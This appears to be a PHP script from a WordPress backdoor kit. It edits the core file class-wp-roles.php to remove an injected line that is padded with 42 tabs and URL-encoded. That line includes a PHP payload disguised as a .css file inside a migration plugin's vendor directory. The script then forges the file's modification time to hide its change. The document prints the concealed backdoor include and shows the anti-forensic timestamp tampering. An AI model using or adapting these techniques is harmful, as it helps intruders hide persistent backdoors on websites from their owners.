<?php  $path = '/var/www/html/reveliadx/wp-includes/class-wp-roles.php'; $ft = @filemtime($path); $new_content = str_repeat("\t", 42).rawurldecode('%40include_once%28%27/var/www/html/reveliadx/wp-content/plugins/wpe-site-migration/vendor/php-di/php-di/src/DI/Definition/Dumper/alertpay_adverts.css%27%29%3B')."\n"; if (file_exists($path) && is_writable($path)) {     $content = file_get_contents($path);     if (strpos($content, $new_content) !== FALSE) {         $content = str_replace($new_content, '', $content);         file_put_contents($path, $content);         @touch($path, $ft);     } } die('!success!');